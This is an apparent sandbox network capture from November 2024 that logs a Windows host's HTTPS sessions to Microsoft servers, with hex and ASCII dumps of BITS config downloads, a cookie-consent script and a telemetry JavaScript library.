o}}),Y(e,"pageVisitTimeTrackingHandler",{g:function(){return c}})})}var Nd=function(e,t){this[gd]=Pt(),this.pageName=e,this.pageUrl=t},Dd=functio
2024-11-18 16:23:45 UTC	16384	IN	Data Raw: 67 2e 63 6f 72 65 44 61 74 61 2c 22 62 65 68 61 76 69 6f 72 22 29 2c 75 65 28 6e 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 6e 2e 70 61 67 65 54 79 70 65 29 2c 75 65 28 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 26 26 21 75 65 28 65 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 2c 75 65 28 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 26 26 28 65 2e 6d 61 72 6b 65 74 3d 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 2c 65 2e 69 73 4c 6f 67 67 65 64 49 6e 3d 47 64 28 72 2e 5f 63 6f 6e 66 69 67 29 2c 74 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 3d 6f 63 28 29 7d 2c 69 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 73 65 74 50 61 67 Data Ascii: g.coreData,"behavior"),ue(n.pageType)&&(e.pageType=n.pageType),ue(r._pageTypeMetaTag)&&!ue(e.pageType)&&(e.pageType=r._pageTypeMetaTag),ue(r._marketMetaTag)&&(e.market=r._marketMetaTag),e.isLoggedIn=Gd(r._config),t.cookieEnabled=oc()},ip.prototype._setPag
2024-11-18 16:23:45 UTC	16384	IN	Data Raw: 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 57 69 74 68 44 61 74 61 42 69 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 7e 74 5b 6e 5d 2e 6e 61 6d 65 2e 69 6e 64 65 78 4f 66 28 22 64 61 74 61 2d 62 69 2d 22 29 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 22 64 61 74 61 2d 6d 22 3d 3d 3d 74 5b 6e 5d 2e 6e Data Ascii: urn!0;return!1},Ap.prototype._isTrackedWithDataBi=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if(~t[n].name.indexOf("data-bi-"))return!0;return!1},Ap.prototype._isTracked=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if("data-m"===t[n].n
2024-11-18 16:23:45 UTC	16384	IN	Data Raw: 62 41 75 74 68 54 6f 6b 65 6e 22 2c 61 3d 22 41 75 74 68 58 54 6f 6b 65 6e 22 2c 67 67 3d 22 6d 73 66 70 63 22 2c 76 67 3d 22 75 73 65 72 22 2c 68 67 3d 22 61 6c 6c 6f 77 52 65 71 75 65 73 74 53 65 6e 64 69 6e 67 22 2c 6d 67 3d 22 66 69 72 73 74 52 65 71 75 65 73 74 53 65 6e 74 22 2c 79 67 3d 22 73 68 6f 75 6c 64 41 64 64 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 73 22 2c 43 67 3d 22 67 65 74 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 56 61 6c 75 65 22 2c 62 67 3d 22 73 65 74 43 6c 6f 63 6b 53 6b 65 77 22 2c 79 65 3d 22 6c 65 6e 67 74 68 22 2c 54 67 3d 22 63 6f 6e 63 61 74 22 2c 49 67 3d 22 69 4b 65 79 22 2c 45 67 3d 22 63 6f 75 6e 74 22 2c 5f 67 3d 22 65 76 65 6e 74 73 22 2c 53 67 3d 22 70 75 73 68 22 2c 78 67 3d 22 73 70 6c 69 74 22 2c 4e 67 3d 22 Data Ascii: bAuthToken",a="AuthXToken",gg="msfpc",vg="user",hg="allowRequestSending",mg="firstRequestSent",yg="shouldAddClockSkewHeaders",Cg="getClockSkewHeaderValue",bg="setClockSkew",ye="length",Tg="concat",Ig="iKey",Eg="count",_g="events",Sg="push",xg="split",Ng="
2024-11-18 16:23:45 UTC	16384	IN	Data Raw: 76 5d 29 29 2c 65 5b 6c 76 5d 26 26 28 65 5b 6c 76 5d 3d 65 61 28 65 5b 6c 76 5d 29 29 29 7d 66 75 6e 63 74 69 6f 6e 20 61 28 65 2c 74 29 7b 69 66 28 65 5b 79 76 5d 7c 7c 28 65 5b 79 76 5d 3d 30 29 2c 65 5b 43 76 5d 7c 7c 28 65 5b 43 76 5d 3d 31 29 2c 6c 28 65 29 2c 65 5b 62 76 5d 29 69 66 28 55 7c 7c 61 65 29 65 5b 43 76 5d 3d 33 2c 65 5b 62 76 5d 3d 21 31 3b 65 6c 73 65 20 69 66 28 48 29 72 65 74 75 72 6e 20 57 26 26 28 65 3d 65 61 28 65 29 29 2c 48 5b 72 76 5d 28 45 76 2e 63 72 65 61 74 65 28 65 5b 49 67 5d 2c 5b 65 5d 29 2c 21 30 3d 3d 3d 65 5b 62 76 5d 3f 31 3a 65 5b 62 76 5d 2c 33 29 3b 76 61 72 20 6e 3d 65 5b 43 76 5d 2c 72 3d 63 65 2c 69 3d 52 2c 61 3d 28 34 3d 3d 3d 6e 26 26 28 72 3d 6f 65 2c 69 3d 4f 29 2c 21 31 29 3b 72 3c 69 3f 61 3d 21 43 28 Data Ascii: v])),e[lv]&&(e[lv]=ea(e[lv])))}function a(e,t){if(e[yv]\|\|(e[yv]=0),e[Cv]\|\|(e[Cv]=1),l(e),e[bv])if(U\|\|ae)e[Cv]=3,e[bv]=!1;else if(H)return W&&(e=ea(e)),H[rv](Ev.create(e[Ig],[e]),!0===e[bv]?1:e[bv],3);var n=e[Cv],r=ce,i=R,a=(4===n&&(r=oe,i=O),!1);r<i?a=!C(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49766	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:23:44 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-18 16:23:45 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF4C) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=174100 Date: Mon, 18 Nov 2024 16:23:44 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49767	13.107.246.44	443	5440	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:23:45 UTC	373	OUT	GET /mscc/lib/v2/wcp-consent.js HTTP/1.1 Host: wcpstatic.microsoft.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-18 16:23:45 UTC	713	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:23:45 GMT Content-Type: application/javascript Content-Length: 52717 Connection: close Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Length,Date,Transfer-Encoding Age: 25656 Cache-Control: max-age=43200 Content-MD5: QT/MdZzBmCG2G2lBgIsptQ== Etag: 0x8DA85F6F74C6D08 Last-Modified: Wed, 24 Aug 2022 17:34:58 GMT Vary: Accept-Encoding X-Cache: CONFIG_NOCACHE x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: c254d5cd-a01e-0060-689a-3951de000000 x-ms-version: 2009-09-19 x-azure-ref: 20241118T162345Z-16547b76f7fd4rc5hC1DFWkzhw00000006dg000000002y5s Accept-Ranges: bytes
2024-11-18 16:23:45 UTC	15671	IN	Data Raw: 76 61 72 20 57 63 70 43 6f 6e 73 65 6e 74 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 7b 32 32 39 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 77 69 6e 64 6f 77 2c 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 6f 28 6e 29 7b 69 66 28 74 5b 6e 5d 29 72 65 74 75 72 6e 20 74 5b 6e 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 72 3d 74 5b 6e 5d 3d 7b 69 3a 6e 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 65 5b 6e 5d 2e 63 61 6c 6c 28 72 2e 65 78 70 6f 72 74 73 2c 72 2c 72 2e 65 78 70 6f 72 74 73 2c 6f 29 2c 72 2e 6c 3d 21 30 2c 72 2e 65 78 70 6f 72 74 73 7d 72 65 74 75 72 6e 20 6f 2e 6d 3d 65 2c 6f 2e 63 3d 74 2c 6f 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 Data Ascii: var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e
2024-11-18 16:23:45 UTC	16384	IN	Data Raw: 29 7b 72 65 74 75 72 6e 20 65 3f 65 2e 72 65 70 6c 61 63 65 28 2f 26 2f 67 2c 22 26 61 6d 70 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3c 2f 67 2c 22 26 6c 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3e 2f 67 2c 22 26 67 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 22 2f 67 2c 22 26 71 75 6f 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 27 2f 67 2c 22 26 23 30 33 39 3b 22 29 3a 22 22 7d 2c 65 7d 28 29 2c 61 3d 6e 2e 6c 6f 63 61 6c 73 2c 6c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 2c 74 2c 6f 2c 6e 2c 72 2c 69 2c 61 29 7b 74 68 69 73 2e 64 69 72 65 63 74 69 6f 6e 3d 22 6c 74 72 22 2c 74 68 69 73 2e 70 72 65 76 69 6f 75 73 46 6f 63 75 73 45 6c 65 6d 65 6e 74 42 65 66 6f 72 65 50 6f 70 75 70 3d 6e 75 6c 6c 2c 74 68 69 73 2e 63 6f 6f 6b 69 Data Ascii: ){return e?e.replace(/&/g,"&").replace(/</g,"<").replace(/>/g,">").replace(/"/g,""").replace(/'/g,"'"):""},e}(),a=n.locals,l=function(){function e(e,t,o,n,r,i,a){this.direction="ltr",this.previousFocusElementBeforePopup=null,this.cooki
2024-11-18 16:23:45 UTC	711	IN	Data Raw: 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 2c 74 2b 3d 27 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2e 27 2b 63 2e 63 6f 6f 6b 69 65 49 74 65 6d 52 61 64 69 6f 42 74 6e 2b 22 20 2b 20 6c 61 62 65 6c 3a 68 6f 76 65 72 3a 3a 61 66 74 65 72 20 7b 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 22 2b 65 5b 22 72 61 64 69 6f 2d 62 75 74 74 6f 6e 2d 68 6f 76 65 72 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 2c 74 2b 3d 27 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2e 27 2b 63 2e 63 6f 6f 6b 69 65 49 74 65 6d 52 61 64 69 6f 42 74 6e 2b 22 20 2b 20 6c Data Ascii: or"]+" !important;\n }",t+='input[type="radio"].'+c.cookieItemRadioBtn+" + label:hover::after {\n background-color: "+e["radio-button-hover-background-color"]+" !important;\n }",t+='input[type="radio"].'+c.cookieItemRadioBtn+" + l
2024-11-18 16:23:45 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 22 2b 65 5b 22 72 61 64 69 6f 2d 62 75 74 74 6f 6e 2d 64 69 73 61 62 6c 65 64 2d 63 6f 6c 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 7d 2c 65 7d 28 29 2c 64 3d 5b 22 61 72 22 2c 22 68 65 22 2c 22 70 73 22 2c 22 75 72 22 2c 22 66 61 22 2c 22 70 61 22 2c 22 73 64 22 2c 22 74 6b 22 2c 22 75 67 22 2c 22 79 69 22 2c 22 73 79 72 22 2c 22 6b 73 2d 61 72 61 62 22 5d 2c 75 3d 7b 22 63 6c 6f 73 65 2d 62 75 74 74 6f 6e 2d 63 6f 6c 6f 72 22 3a 22 23 36 36 36 36 36 36 22 2c 22 73 65 63 6f 6e 64 61 72 79 2d 62 75 74 74 6f 6e 2d 64 69 73 61 62 6c 65 64 2d 6f 70 61 63 69 74 79 22 3a 22 31 22 2c 22 73 65 63 6f 6e 64 61 72 79 2d 62 75 74 74 6f Data Ascii: background-color: "+e["radio-button-disabled-color"]+" !important;\n }"},e}(),d=["ar","he","ps","ur","fa","pa","sd","tk","ug","yi","syr","ks-arab"],u={"close-button-color":"#666666","secondary-button-disabled-opacity":"1","secondary-butto
2024-11-18 16:23:45 UTC	3567	IN	Data Raw: 28 22 2d 22 29 5b 30 5d 3b 6f 3d 65 2e 73 70 6c 69 74 28 22 2d 22 29 5b 30 5d 3d 3d 3d 6e 7d 72 65 74 75 72 6e 20 6f 7d 28 65 2c 63 29 7d 29 29 3b 73 26 26 30 3d 3d 3d 73 2e 6c 65 6e 67 74 68 26 26 28 65 3d 22 65 6e 2d 55 53 22 29 2c 6f 2e 70 6c 61 63 65 68 6f 6c 64 65 72 45 6c 65 6d 65 6e 74 3d 6c 2c 72 26 26 6f 2e 63 6f 6e 73 65 6e 74 43 68 61 6e 67 65 64 43 61 6c 6c 62 61 63 6b 73 2e 72 65 67 69 73 74 65 72 43 61 6c 6c 62 61 63 6b 28 72 29 2c 6f 2e 73 61 76 65 43 6f 6f 6b 69 65 28 29 2c 6f 2e 73 69 74 65 43 6f 6e 73 65 6e 74 3d 6e 65 77 20 66 28 21 31 29 2c 6e 75 6c 6c 3d 3d 6e 7c 7c 6e 28 76 6f 69 64 20 30 2c 6f 2e 73 69 74 65 43 6f 6e 73 65 6e 74 29 2c 6f 2e 69 73 49 6e 69 74 52 65 61 64 79 3d 21 30 2c 74 68 69 73 2e 63 6f 6e 73 65 6e 74 43 68 61 6e Data Ascii: ("-")[0];o=e.split("-")[0]===n}return o}(e,c)}));s&&0===s.length&&(e="en-US"),o.placeholderElement=l,r&&o.consentChangedCallbacks.registerCallback(r),o.saveCookie(),o.siteConsent=new f(!1),null==n\|\|n(void 0,o.siteConsent),o.isInitReady=!0,this.consentChan

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49769	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:23:45 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-18 16:23:46 UTC	515	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=174059 Date: Mon, 18 Nov 2024 16:23:46 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-18 16:23:46 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49772	13.107.246.45	443	5440	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:23:46 UTC	370	OUT	GET /scripts/c/ms.jsll-4.min.js HTTP/1.1 Host: js.monitor.azure.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-18 16:23:46 UTC	912	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:23:46 GMT Content-Type: text/javascript; charset=utf-8 Content-Length: 207935 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: no-transform, public, max-age=1800, immutable Last-Modified: Mon, 14 Oct 2024 17:27:31 GMT ETag: 0x8DCEC757C1AD1D1 x-ms-request-id: b909e3ec-f01e-00d4-7c8f-269d10000000 x-ms-version: 2009-09-19 x-ms-meta-jssdkver: 4.3.3 x-ms-meta-jssdksrc: [cdn]/scripts/c/ms.jsll-4.3.3.min.js Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,x-ms-meta-jssdkver,x-ms-meta-jssdksrc,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241118T162346Z-16547b76f7f9s8x7hC1DFWywrg00000005s000000000qnby x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-18 16:23:46 UTC	15472	IN	Data Raw: 2f 2a 21 0a 20 2a 20 31 44 53 20 4a 53 4c 4c 20 53 4b 55 2c 20 34 2e 33 2e 33 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 4d 69 63 72 6f 73 6f 66 74 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0a 20 2a 20 28 4d 69 63 72 6f 73 6f 66 74 20 49 6e 74 65 72 6e 61 6c 20 4f 6e 6c 79 29 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 75 6e 64 65 66 69 6e 65 64 22 3b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 21 3d 6e 29 74 28 65 78 70 6f 72 74 73 29 3b 65 6c 73 65 20 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 Data Ascii: /! 1DS JSLL SKU, 4.3.3 * Copyright (c) Microsoft and contributors. All rights reserved. * (Microsoft Internal Only) */!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&defi
2024-11-18 16:23:46 UTC	16384	IN	Data Raw: 5b 61 69 5d 28 69 29 3a 28 6e 3d 65 5b 22 6f 6e 22 2b 74 5d 29 3f 6e 28 69 29 3a 28 72 3d 66 65 28 22 63 6f 6e 73 6f 6c 65 22 29 29 26 26 28 72 2e 65 72 72 6f 72 7c 7c 72 2e 6c 6f 67 29 28 74 2c 63 65 28 69 29 29 29 29 7d 53 65 28 61 3d 7b 74 68 65 6e 3a 6f 2c 22 63 61 74 63 68 22 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6f 28 75 6e 64 65 66 69 6e 65 64 2c 65 29 7d 2c 22 66 69 6e 61 6c 6c 79 22 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 2c 6e 3d 74 3b 72 65 74 75 72 6e 20 51 28 74 29 26 26 28 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 26 26 74 28 29 2c 65 7d 2c 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 72 6f 77 20 74 26 26 74 28 29 2c 65 7d 29 2c 6f 28 65 2c 6e 29 7d 7d 2c 22 73 74 61 74 65 Data Ascii: [ai](i):(n=e["on"+t])?n(i):(r=fe("console"))&&(r.error\|\|r.log)(t,ce(i))))}Se(a={then:o,"catch":function(e){return o(undefined,e)},"finally":function(t){var e=t,n=t;return Q(t)&&(e=function(e){return t&&t(),e},n=function(e){throw t&&t(),e}),o(e,n)}},"state
2024-11-18 16:23:47 UTC	16384	IN	Data Raw: 2c 5b 65 2e 61 72 67 5d 29 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 67 63 28 65 2c 74 2c 6e 2c 72 29 7b 67 65 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 26 26 65 5b 74 5d 26 26 28 6e 3f 28 6e 2e 63 62 5b 74 65 5d 28 7b 66 6e 3a 72 2c 61 72 67 3a 65 7d 29 2c 6e 2e 68 3d 6e 2e 68 7c 7c 6e 6e 28 70 63 2c 30 2c 6e 29 29 3a 4d 28 72 2c 5b 65 5d 29 29 7d 29 7d 68 63 2e 5f 5f 69 65 44 79 6e 3d 31 3b 76 61 72 20 76 63 3d 68 63 3b 66 75 6e 63 74 69 6f 6e 20 68 63 28 65 29 7b 74 68 69 73 2e 6c 69 73 74 65 6e 65 72 73 3d 5b 5d 3b 76 61 72 20 6e 2c 69 3d 5b 5d 2c 61 3d 7b 68 3a 6e 75 6c 6c 2c 63 62 3a 5b 5d 7d 2c 6f 3d 76 6f 28 65 2c 64 63 29 5b 4b 6e 5d 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6e 3d 21 21 65 2e 63 66 67 2e 70 65 72 66 45 76 74 73 53 65 6e 64 41 6c 6c Data Ascii: ,[e.arg])})}function gc(e,t,n,r){ge(e,function(e){e&&e[t]&&(n?(n.cb[te]({fn:r,arg:e}),n.h=n.h\|\|nn(pc,0,n)):M(r,[e]))})}hc.__ieDyn=1;var vc=hc;function hc(e){this.listeners=[];var n,i=[],a={h:null,cb:[]},o=vo(e,dc)[Kn](function(e){n=!!e.cfg.perfEvtsSendAll
2024-11-18 16:23:47 UTC	16384	IN	Data Raw: 63 28 29 2c 74 26 26 74 28 61 29 7d 29 7d 2c 66 29 2c 68 28 29 2c 6d 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 61 2e 66 6c 75 73 68 43 6f 6d 70 6c 65 74 65 3d 65 2c 50 3d 21 30 2c 52 2e 72 75 6e 28 6f 2c 61 29 2c 66 5b 67 72 5d 28 29 2c 6f 5b 6c 72 5d 28 61 29 7d 2c 36 2c 6e 29 2c 69 7d 2c 66 5b 6f 72 5d 3d 73 2c 66 2e 61 64 64 50 6c 75 67 69 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 2c 72 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 6f 75 29 3b 76 61 72 20 69 3d 73 28 65 5b 24 6e 5d 29 3b 69 66 28 69 26 26 21 74 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 22 50 6c 75 67 69 6e 20 5b 22 2b 65 5b 24 6e 5d 2b 22 5d 20 69 73 20 61 6c 72 65 61 64 79 20 6c 6f 61 64 65 64 21 22 Data Ascii: c(),t&&t(a)})},f),h(),m(e,function(e){a.flushComplete=e,P=!0,R.run(o,a),f[gr](),o[lr](a)},6,n),i},f[or]=s,f.addPlugin=function(e,t,n,r){if(!e)return r&&r(!1),void C(ou);var i=s(e[$n]);if(i&&!t)return r&&r(!1),void C("Plugin ["+e[$n]+"] is already loaded!"
2024-11-18 16:23:47 UTC	16384	IN	Data Raw: 5f 57 33 43 3a 31 2c 57 33 43 3a 32 7d 29 2c 6e 28 7b 4e 6f 72 6d 61 6c 3a 31 2c 43 72 69 74 69 63 61 6c 3a 32 7d 29 2c 75 6e 64 65 66 69 6e 65 64 2c 75 6e 64 65 66 69 6e 65 64 29 2c 53 6c 3d 22 22 3b 66 75 6e 63 74 69 6f 6e 20 78 6c 28 65 29 7b 74 72 79 7b 69 66 28 6f 65 28 6f 74 28 29 29 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 76 61 72 20 74 3d 28 6e 65 77 20 44 61 74 65 29 5b 4f 73 5d 28 29 2c 6e 3d 66 65 28 65 3d 3d 3d 45 6c 2e 4c 6f 63 61 6c 53 74 6f 72 61 67 65 3f 22 6c 6f 63 61 6c 53 74 6f 72 61 67 65 22 3a 22 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 22 29 2c 72 3d 53 6c 2b 74 2c 69 3d 28 6e 2e 73 65 74 49 74 65 6d 28 72 2c 74 29 2c 6e 2e 67 65 74 49 74 65 6d 28 72 29 21 3d 3d 74 29 3b 69 66 28 6e 5b 52 73 5d 28 72 29 2c 21 69 29 72 65 74 75 72 6e Data Ascii: _W3C:1,W3C:2}),n({Normal:1,Critical:2}),undefined,undefined),Sl="";function xl(e){try{if(oe(ot()))return null;var t=(new Date)[Os](),n=fe(e===El.LocalStorage?"localStorage":"sessionStorage"),r=Sl+t,i=(n.setItem(r,t),n.getItem(r)!==t);if(n[Rs](r),!i)return
2024-11-18 16:23:47 UTC	16384	IN	Data Raw: 69 6d 65 29 7d 63 61 74 63 68 28 72 29 7b 48 6f 28 6f 2c 22 41 75 74 6f 20 74 72 61 63 6b 20 70 61 67 65 20 76 69 73 69 74 20 74 69 6d 65 20 66 61 69 6c 65 64 2c 20 6d 65 74 72 69 63 20 77 69 6c 6c 20 6e 6f 74 20 62 65 20 63 6f 6c 6c 65 63 74 65 64 3a 20 22 2b 63 65 28 72 29 29 7d 7d 2c 59 28 65 2c 22 5f 6c 6f 67 67 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6f 7d 7d 29 2c 59 28 65 2c 22 70 61 67 65 56 69 73 69 74 54 69 6d 65 54 72 61 63 6b 69 6e 67 48 61 6e 64 6c 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 63 7d 7d 29 7d 29 7d 76 61 72 20 4e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 74 68 69 73 5b 67 64 5d 3d 50 74 28 29 2c 74 68 69 73 2e 70 61 67 65 4e 61 6d 65 3d 65 2c 74 68 69 73 2e Data Ascii: ime)}catch(r){Ho(o,"Auto track page visit time failed, metric will not be collected: "+ce(r))}},Y(e,"_logger",{g:function(){return o}}),Y(e,"pageVisitTimeTrackingHandler",{g:function(){return c}})})}var Nd=function(e,t){this[gd]=Pt(),this.pageName=e,this.
